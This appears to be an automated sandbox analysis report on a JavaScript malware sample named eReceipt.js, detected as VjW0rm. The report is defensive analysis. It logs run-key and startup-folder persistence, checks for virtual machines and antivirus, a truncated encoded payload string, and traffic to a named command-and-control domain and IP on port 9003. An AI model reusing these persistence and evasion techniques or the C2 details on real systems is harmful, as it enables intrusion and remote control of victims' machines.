Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\eReceipt.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eReceipt.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eReceipt.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eReceipt.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XZqsVjnTsr.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\XZqsVjnTsr.js

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winJS@15/6@4/2

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: eReceipt.js

String : entropy: 5.55, length: 43961, content: 'dHJ5ewp2YXIgbG9uZ1RleHQxID0gIkt5Z2hRWEp5WVhrdWNISnZkRzkwZVhCbExtWnZja1ZoWTJnZ1B5QkJjbkpoZVM1d2NtOTB

Go to definition

Boot Survival

Creates multiple autostart registry keys

Source: C:\Windows\System32\wscript.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 00FAYTSXGU			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 1NBCD3W1VR			Jump to behavior

Drops script or batch files to the startup folder

Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eReceipt.js			Jump to dropped file
Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XZqsVjnTsr.js			Jump to dropped file

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eReceipt.js

Jump to behavior

Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eReceipt.js	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eReceipt.js\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XZqsVjnTsr.js	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eReceipt.js\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eReceipt.js\:Zone.Identifier:$DATA

Source: C:\Windows\System32\wscript.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 1NBCD3W1VR	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 1NBCD3W1VR	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 00FAYTSXGU	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 00FAYTSXGU	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49772

Source: C:\Windows\System32\wscript.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : win32_logicaldisk

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: wscript.exe, 0000000C.00000002.881090970.00000171E043A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b}2
Source: wscript.exe, 00000006.00000002.881172921.000001C97BE80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}I-
Source: wscript.exe, 00000010.00000002.883452838.00000244AF4E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: wscript.exe, 0000000A.00000002.881999035.00000239FAD10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\40
Source: wscript.exe, 00000005.00000002.884426925.000001B3A1141000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWT
Source: wscript.exe, 00000000.00000002.882808280.000001C6DD8AC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.881792524.000001C6DCC84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.815466211.000001B3A0600000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.883870439.000001B3A0600000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.884426925.000001B3A1141000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.883006547.0000011D6E4DC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.882763356.0000011D6E4A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.884362520.00000244B00A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000005.00000003.815288447.000001B3A051F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: od_VMware_SATA_C5&280b647&0&000000#{
Source: wscript.exe, 00000006.00000002.881172921.000001C97BE80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\fb8b}
Source: wscript.exe, 0000000A.00000002.881999035.00000239FAD10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}x0
Source: wscript.exe, 00000005.00000003.815466211.000001B3A0600000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.883870439.000001B3A0600000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.882763356.0000011D6E4A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe	Network Connect: 212.193.30.129 9003			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Domain query: zeegod.duckdns.org

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: wscript.exe, 00000009.00000002.880440429.0000011D6BAC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Windows Defender\MsMpeng.exe
Source: wscript.exe, 00000009.00000002.883006547.0000011D6E4DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r\MsMpeng.exe
Source: wscript.exe, 00000000.00000002.882571223.000001C6DD870000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.879786917.000001C6DACD8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.881792524.000001C6DCC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected VjW0rm

Source: Yara match	File source: 00000012.00000002.881139684.0000026BB35D2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.880223665.000001C979E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.879936544.0000026BB17B2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.881711321.00000239FAA0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.881056542.000001C97BC3F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.880769506.00000171E040E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.880832784.00000171E0417000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.827815477.00000280C91ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.881396869.00000171E222F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.882667131.00000280CABE0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.881255255.00000280C91ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.881083256.000001FE4248F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.880198899.000001C979E13000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.881826906.000001FE441D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.880995729.00000239F8BE0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 5516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 6652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 4448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 2312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 5512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 6408, type: MEMORYSTR

Remote Access Functionality

Yara detected VjW0rm

Source: Yara match	File source: 00000012.00000002.881139684.0000026BB35D2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.880223665.000001C979E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.879936544.0000026BB17B2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.881711321.00000239FAA0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.881056542.000001C97BC3F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.880769506.00000171E040E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.880832784.00000171E0417000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.827815477.00000280C91ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.881396869.00000171E222F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.882667131.00000280CABE0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.881255255.00000280C91ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.881083256.000001FE4248F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.880198899.000001C979E13000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.881826906.000001FE441D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.880995729.00000239F8BE0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 5516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 6652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 4448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 2312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 5512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 6408, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Windows Management Instrumentation	121 Registry Run Keys / Startup Folder	111 Process Injection	1 Masquerading	OS Credential Dumping	1 Query Registry	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	11 Non-Standard Port	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
